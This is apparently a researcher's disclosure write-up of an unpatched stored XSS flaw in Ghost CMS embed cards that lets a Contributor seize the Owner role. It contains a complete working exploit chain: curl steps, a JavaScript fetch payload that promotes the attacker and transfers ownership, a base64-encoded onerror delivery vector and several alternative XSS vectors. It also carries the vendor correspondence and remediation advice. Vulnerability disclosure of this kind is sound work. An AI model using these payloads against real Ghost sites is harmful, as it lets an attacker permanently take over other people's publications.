Logo
Ghost CMS: Stored XSS in Embed Cards Leading to Owner Takeover - 2026

Ghost CMS: Stored XSS in Embed Cards Leading to Owner Takeover - 2026

February 24, 2026
13 min read
index

Vulnerability Overview

On a typical Ghost CMS site, staff members review drafts daily as part of their editorial workflow. This routine can be exploited: a low-privileged Contributor can submit a crafted embed card that executes Stored Cross-Site Scripting (XSS) when the site Owner opens it.

This vulnerability allows the Contributor to take full control of the Ghost instance. With a single click from the Owner, the attacker becomes the new Owner, gaining sole ownership, full administrative access, and billing modification abilities. The original Owner is permanently demoted to Administrator.

Ghost CMS declined to patch it, stating that all staff users are considered trusted regardless of role.

Danger (Unpatched — vendor declined to fix)

Ghost CMS classified this under their “Privilege Escalation Attacks” exclusion policy. The vulnerability remains present in all current versions including 6.19.2 (latest at time of writing).

Vendor
Ghost Foundation
Product
Vulnerable Versions
5.x (Lexical editor introduction) through 6.19.2 (latest)
Fixed Version
None. Vendor declined to remediate.
CVSS
Critical 9.0 Critical (AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H)
Verified On
Ghost 6.13.2, 6.16.1, 6.17.0, 6.19.2

What is Ghost CMS?

Ghost CMS is a modern, open-source content management system for professional publishing. Built on Node.js, it offers rich editors, SEO tools, email newsletters, and membership features. The Docker image has over 100 million downloads and is used by Apple, Mozilla, OpenAI, and many others.

Ghost CMS has five user role levels: Contributors, Authors, Editors, Administrators, and Owner. Each role has different permissions, and any staff user can create posts with embed cards, making any staff user a potential exploit vector.

  1. Contributors: Can write drafts, cannot publish
  2. Authors: Can create and publish their own posts
  3. Editors: Can manage all posts and invite authors/contributors
  4. Administrators: Full edit permissions for all data and settings
  5. Owner: Cannot be deleted; accesses billing details; only one per site

Stored XSS in Embed Card HTML

Ghost’s Lexical editor supports “embed cards” for embedding external content like YouTube videos, tweets, and other media. Each embed card stores raw HTML that gets rendered when a user views the post in the Ghost admin editor.

The embed card HTML field is not sanitized at any point. Whatever HTML is submitted through the API gets stored directly and rendered as-is. This means any staff user can inject JavaScript that will execute in the browser of anyone who opens the post in the admin panel.

The vulnerability exists in two components:

Client-side (admin panel): The @tryghost/koenig-lexical package renders embed HTML inside an unsandboxed iframe:

<iframe srcDoc={html} />

Without a sandbox attribute, JavaScript in the HTML runs with full access to the admin session.

Server-side: In embed-renderer.js at line 61:

figure.innerHTML = node.html;

User-controlled HTML is assigned directly to innerHTML with no sanitization.

Multiple XSS vectors were confirmed to execute in the admin panel:

  • <img src=x onerror="...">
  • <svg onload="...">
  • <details open ontoggle="...">
  • <iframe src="javascript:...">
  • Base64-encoded eval(atob(...))

Weaponizing XSS: Ghost CMS Instance Takeover

The attack targets the site Owner by having them view a malicious draft post. A Contributor creates a draft with a crafted embed card, and the XSS fires automatically when the Owner opens it in the editor to review it. This is a normal part of editorial workflows on multi-author Ghost sites.

A single XSS payload performs two actions in the Owner’s authenticated session:

  1. Promotes the attacker’s Contributor account to Administrator via PUT /ghost/api/admin/users/{id}/
  2. Transfers site ownership to the attacker via PUT /ghost/api/admin/users/owner

The result is a permanent, irrevocable takeover. The attacker becomes the new Owner (cannot be deleted or demoted), and the original Owner is demoted to Administrator. Recovery requires direct database access.

The required information for the payload (user IDs, role IDs) is available to any staff user, including Contributors, through the Ghost admin API:

Terminal window
GET /ghost/api/admin/users/?include=roles
GET /ghost/api/admin/roles/

A two-stage version of the attack was also verified, where the first draft creates an Administrator invite for the attacker’s email, and a second draft transfers ownership. On production Ghost instances with email configured, the attacker simply receives a legitimate invite email from Ghost and accepts it normally.


Proof of Concept

The following walkthrough was performed on Ghost 6.19.2. The test environment has two accounts: an Owner (chris@alupify.com) and a Contributor (evil@test.com).

Ghost CMS privilege escalation demonstration

Step 1: Confirm Roles Before the Attack

Ghost admin staff page showing Owner and Contributor roles before the attack

Step 2: Authenticate as Contributor

Terminal window
curl -s -c cookies.txt -X POST "http://localhost:2368/ghost/api/admin/session/" \
-H "Content-Type: application/json" \
-d '{"username":"evil@test.com","password":"EvilPass123!"}'

Step 3: Get Attacker’s User ID

Terminal window
curl -s -b cookies.txt "http://localhost:2368/ghost/api/admin/users/me/?include=roles" | jq '.users[0] | {id, email, role: .roles[0].name}'

API response showing the attacker's user ID and Contributor role

Step 4: Get Administrator Role ID

Note

Contributors can access the /roles/ endpoint. This is not a separate vulnerability, but it means the attacker can discover all role IDs using their own session.

Terminal window
curl -s -b cookies.txt "http://localhost:2368/ghost/api/admin/roles/" | jq '.roles[] | select(.name=="Administrator") | {id, name}'

API response showing the Administrator role ID

Note

The user IDs and role IDs in the following steps are specific to this test environment. You will need to replace them with the values obtained from Steps 3 and 4 for your own instance.

Step 5: Build the XSS Payload

The JavaScript payload chains two API calls using the victim’s session. The first promotes the Contributor to Administrator. The second transfers site ownership to the attacker. Both use credentials: 'include' to ride on the Owner’s session cookie.

// Step 1: Promote Contributor to Administrator
fetch('/ghost/api/admin/users/83daecbecde740faa0cf46ba/', {
method: 'PUT',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
users: [{
roles: [{id: '6988d0a3fbf3c2a0c634cd2f', name: 'Administrator'}]
}]
})
})
.then(() =>
// Step 2: Transfer ownership to attacker (now Administrator)
fetch('/ghost/api/admin/users/owner', {
method: 'PUT',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
owner: [{id: '83daecbecde740faa0cf46ba'}]
})
})
)

API endpoints used:

  • PUT /ghost/api/admin/users/{id}/ changes a user’s role. Requires the caller to be an Owner or Administrator.
  • PUT /ghost/api/admin/users/owner transfers site ownership. Can only be called by the current Owner. The target must already be an Administrator, which is why the payload promotes the attacker first.

Step 6: Base64 Encode the Payload

The payload is base64-encoded to avoid JSON escaping issues when embedding it in the Lexical document:

Terminal window
echo -n "fetch('/ghost/api/admin/users/83daecbecde740faa0cf46ba/',{method:'PUT',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({users:[{roles:[{id:'6988d0a3fbf3c2a0c634cd2f',name:'Administrator'}]}]})}).then(()=>fetch('/ghost/api/admin/users/owner',{method:'PUT',credentials:'include',headers:{'Content-Type':'application/json'},body:JSON.stringify({owner:[{id:'83daecbecde740faa0cf46ba'}]})}))" | base64 -w0
Terminal window
ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXNlcnMvODNkYWVjYmVjZGU3NDBmYWEwY2Y0NmJhLycse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHt1c2Vyczpbe3JvbGVzOlt7aWQ6JzY5ODhkMGEzZmJmM2MyYTBjNjM0Y2QyZicsbmFtZTonQWRtaW5pc3RyYXRvcid9XX1dfSl9KS50aGVuKCgpPT5mZXRjaCgnL2dob3N0L2FwaS9hZG1pbi91c2Vycy9vd25lcicse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHtvd25lcjpbe2lkOic4M2RhZWNiZWNkZTc0MGZhYTBjZjQ2YmEnfV19KX0pKQ==

The embed card HTML that delivers the payload:

<img src=x onerror="eval(atob('ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXN...'))">

When the image fails to load, the onerror handler decodes and executes the JavaScript.

Step 7: Create the Malicious Draft Post

The payload is embedded in a Lexical embed card and submitted as a draft post:

Terminal window
CONTRIB_ID="83daecbecde740faa0cf46ba"
PAYLOAD_B64="ZmV0Y2goJy9naG9zdC9hcGkvYWRtaW4vdXNlcnMvODNkYWVjYmVjZGU3NDBmYWEwY2Y0NmJhLycse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHt1c2Vyczpbe3JvbGVzOlt7aWQ6JzY5ODhkMGEzZmJmM2MyYTBjNjM0Y2QyZicsbmFtZTonQWRtaW5pc3RyYXRvcid9XX1dfSl9KS50aGVuKCgpPT5mZXRjaCgnL2dob3N0L2FwaS9hZG1pbi91c2Vycy9vd25lcicse21ldGhvZDonUFVUJyxjcmVkZW50aWFsczonaW5jbHVkZScsaGVhZGVyczp7J0NvbnRlbnQtVHlwZSc6J2FwcGxpY2F0aW9uL2pzb24nfSxib2R5OkpTT04uc3RyaW5naWZ5KHtvd25lcjpbe2lkOic4M2RhZWNiZWNkZTc0MGZhYTBjZjQ2YmEnfV19KX0pKQ=="
# Build the post JSON with the payload and contributor ID substituted in
cat > /tmp/payload.json << JSONEOF
{
"posts": [{
"title": "Check this embed!",
"lexical": "{\"root\":{\"children\":[{\"type\":\"embed\",\"version\":1,\"url\":\"https://example.com\",\"html\":\"<img src=x onerror=\\\\\"eval(atob('${PAYLOAD_B64}'))\\\\\">\",\"embedType\":\"embed\"}],\"direction\":null,\"format\":\"\",\"indent\":0,\"type\":\"root\",\"version\":1}}",
"status": "draft",
"authors": [{"id": "${CONTRIB_ID}"}]
}]
}
JSONEOF
# Submit as Contributor
curl -s -b cookies.txt -X POST "http://localhost:2368/ghost/api/admin/posts/" \
-H "Content-Type: application/json" \
-d @/tmp/payload.json | jq '{id: .posts[0].id, title: .posts[0].title, author: .posts[0].primary_author.name}'
{
"id": "699de9102754d18a13be3397",
"title": "Check this embed!",
"author": "Evil Contributor"
}

The post shows up as a normal draft in the Ghost Admin posts list.

Malicious draft post appearing as a normal entry in Ghost Admin posts list

Step 8: Owner Views the Draft

The site Owner (chris@alupify.com) opens the draft in the editor to review it. This is standard editorial workflow on any multi-author Ghost site. The Network tab shows the two PUT requests firing silently in the background.

Network tab showing two silent PUT requests firing when the Owner opens the draft

The moment the editor loads, the embed card renders, the image fails to load, and the onerror handler fires. The two API calls execute using the Owner’s authenticated session. No clicks, no popups, no visible indication that anything happened.

Step 9: Verify the Takeover

After the Owner views the post, the roles have changed:

evil@test.com | Owner
chris@alupify.com | Administrator

Ghost admin staff page showing evil@test.com as Owner and chris@alupify.com demoted to Administrator

Danger (Irrevocable takeover)

The takeover is permanent. The original Owner cannot recover their role through the admin panel. The attacker now has sole ownership of the Ghost instance and cannot be deleted or demoted by anyone. In fact, the attacker can now delete the original Owner’s account entirely. Recovery requires direct database access.

Attacker with Owner role deleting the original owner's account from Ghost admin


Precedent: CVE-2024-23724

This is not the first stored XSS to Owner takeover in Ghost CMS. In 2024, Rhino Security Labs discovered a nearly identical vulnerability (CVE-2024-23724) where a low-privilege user could escalate to Owner through stored XSS in SVG profile pictures. Ghost gave the same response at the time: staff users are trusted. MITRE assigned CVE-2024-23724 anyway, and Ghost eventually merged a fix in Pull Request #20264.

Warning (Pattern repeating)

Same product, same vulnerability class, same minimum privilege, same vendor response, same impact. The only difference is the injection vector: SVG profile pictures vs. embed card HTML.

Rhino Security Labs’ proof-of-concept: https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2024-23724


Vendor Response

When I reported this vulnerability, Ghost CMS classified it under the “Privilege Escalation Attacks” exclusion in their security policy. The following is the email exchange that followed.

Ghost Engineering & Product Team to Chris Alupului
Jan 22, 2026
Re: Security Vulnerability Report: Stored XSS Privilege Escalation in Ghost CMS

Hi Chris,

Thanks again. After reviewing your report it seems that the exploit is covered by our discussion under “Privilege Escalation Attacks” in our security policy. Is that a correct assessment?

Thanks in advance

Chris Alupului to Ghost Security Team
Jan 22, 2026
Re: Security Vulnerability Report: Stored XSS Privilege Escalation in Ghost CMS

Hi Ghost Security Team,

Thank you for your response. I respectfully disagree that this vulnerability falls under your excluded “Privilege Escalation Attacks” policy. Let me explain why I believe this warrants reconsideration:

1. Precedent: CVE-2024-23724

In January 2024, Rhino Security Labs reported a nearly identical vulnerability — Stored XSS leading to Owner takeover via malicious SVG profile pictures. Ghost’s initial response was the same: “All staff users are expected to be trusted.”

Despite this, MITRE assigned CVE-2024-23724, and Ghost ultimately accepted and merged the fix (PR #20264).

My finding follows the same pattern:

  • Stored XSS leading to Owner takeover
  • Exploitable by low-privileged Contributor role
  • Permanent, irrevocable damage

If CVE-2024-23724 warranted a fix despite the “trusted users” policy, this vulnerability should as well.

2. This is Admin Panel XSS, not front-end XSS

Your security policy specifically addresses front-end XSS, stating: “Ghost’s admin application does a lot to ensure that unknown scripts are not run within the admin application itself”

My finding demonstrates that scripts are running within the admin application — specifically when an Owner/Admin reviews a Contributor’s draft post. The XSS executes in /ghost/#/editor/, not on the public-facing site.

3. The HTML embed feature is for front-end display, not Admin Panel execution

I understand that Ghost provides HTML embed functionality for content creation — this is a legitimate feature for rendering content on the public-facing blog. The vulnerability is not that HTML embeds exist, but that:

  • Embedded HTML is rendered unsanitized in the Admin Panel when reviewing drafts
  • The Admin Panel should be a protected context, separate from front-end rendering

Your own policy acknowledges this distinction: “Ghost’s admin application does a lot to ensure that unknown scripts are not run within the admin application itself”

The expectation is that when an Owner reviews a Contributor’s draft in /ghost/#/editor/, malicious scripts should not execute in that privileged context — regardless of what’s permitted on the public front-end.

4. Ghost’s role hierarchy implies differential trust

Ghost explicitly implements a permission hierarchy: Contributor → Author → Editor → Administrator → Owner. This architecture exists precisely because not all staff members should be equally trusted.

  • A Contributor cannot delete posts, change settings, or manage users
  • Yet through this vulnerability, a Contributor can become Owner — the highest privilege level

If all users were equally trusted as your policy suggests, the role system would be unnecessary.

5. The impact exceeds normal “trusted user” risk

Even accepting that staff members have some elevated trust, Owner takeover represents permanent, irrevocable damage:

  • The Owner role cannot be deleted via UI or API
  • The Owner cannot be demoted
  • The original owner loses control permanently
  • On Ghost Pro, this grants billing/subscription access
  • Recovery requires direct database access or Ghost support intervention

This is categorically different from typical XSS risks that can be remediated by removing a malicious user.

6. Your own documentation distinguishes this case

Your policy states: “We take any attack vector where an untrusted user is able to inject malicious content very seriously.”

A Contributor is, by Ghost’s own role definition, a less-trusted user with restricted permissions. The fact that they were invited doesn’t mean they should be trusted with Owner-level access.

7. The fix is minimal

DOMPurify is already a Ghost dependency. The vulnerable code in @tryghost/kg-default-nodes/lib/nodes/embed/embed-renderer.js simply needs to sanitize node.html before the innerHTML assignment when rendering in the Admin Panel context. This is a targeted, low-risk fix that would not affect legitimate front-end rendering.

Given that CVE-2024-23724 was assigned and patched for essentially the same class of vulnerability with the same impact (Owner takeover), I believe this finding warrants the same treatment.

I’m happy to discuss further or provide additional demonstration. If you still consider it out of scope, I would appreciate clarification on how this differs from CVE-2024-23724, which Ghost ultimately patched.

Best regards,
Chris Alupului

Ghost Engineering & Product Team to Chris Alupului
Feb 3, 2026
Re: Security Vulnerability Report: Stored XSS Privilege Escalation in Ghost CMS

Hello Chris,

Sorry for the delay. We continued to look into your report.

The use case for embeds is very different to the previous SVG rendering fix you reference. Scripts are not expected in SVG, which is why it made sense to put basic sanitisation in place for them. If scripts were needed for that feature to function — as they are for many of the embeds we support — we would’ve been OK leaving the possible exploit in place, as all Staff users are considered trusted not to be malicious regardless of assigned role.

Kind regards


Researcher Position

In short, Ghost said the SVG fix only happened because scripts were not needed for that feature. For embed cards, where scripts are sometimes required, they chose not to sanitize the HTML. Reading between the lines, this feels less like a technical disagreement and more like engineers following an organizational policy (“all staff are trusted”) regardless of whether the facts of a specific vulnerability warrant an exception.

Important (Domain separation does not mitigate this)

Ghost’s security policy suggests separating front-end and admin domains as a mitigation for concerned site owners. This does not help in this case because the XSS fires inside the Ghost admin panel itself when an Owner opens the editor to review a draft post.


Remediation

Tip (Existing dependency could fix this)

Ghost CMS already has DOMPurify installed as a dependency. Sanitizing embed card HTML before rendering would block malicious payloads while preserving legitimate embed functionality. Adding a sandbox attribute to the iframe in EmbedCard.jsx would also prevent script execution in the admin panel context.

Until a fix is applied, Ghost site owners should limit staff access to trusted individuals and be aware that reviewing any draft post with an embed card could trigger XSS in their session.


Conclusion

This vulnerability allows the lowest-privilege staff user on a Ghost site to permanently take over the Owner account by submitting a single draft post. The attack fits naturally into editorial workflows where Owners and Administrators routinely review Contributor drafts. Ghost declined to patch it, and the vulnerability remains present in all current versions.


Disclosure Timeline

01/20/2026
Initial report submitted to Ghost CMS security team (Contributor → Administrator)
01/20/2026
Follow-up: attack chain extended to full Owner takeover (CVSS 9.0)
01/21/2026
Ghost CMS: acknowledged report, investigation underway
01/22/2026
Ghost CMS: classified under excluded "Privilege Escalation Attacks" policy
01/22/2026
Provided detailed rebuttal citing CVE-2024-23724 precedent
01/28/2026
Follow-up due to lack of reply
02/03/2026
Ghost CMS: staff users are trusted; embeds require scripts
02/03/2026
Informed Ghost CMS of intent to pursue MITRE coordination
02/08/2026
Re-verified on Ghost 6.17.0. CVE request submitted to MITRE
02/24/2026
Re-verified on Ghost 6.19.2 (current latest). Public disclosure via blog post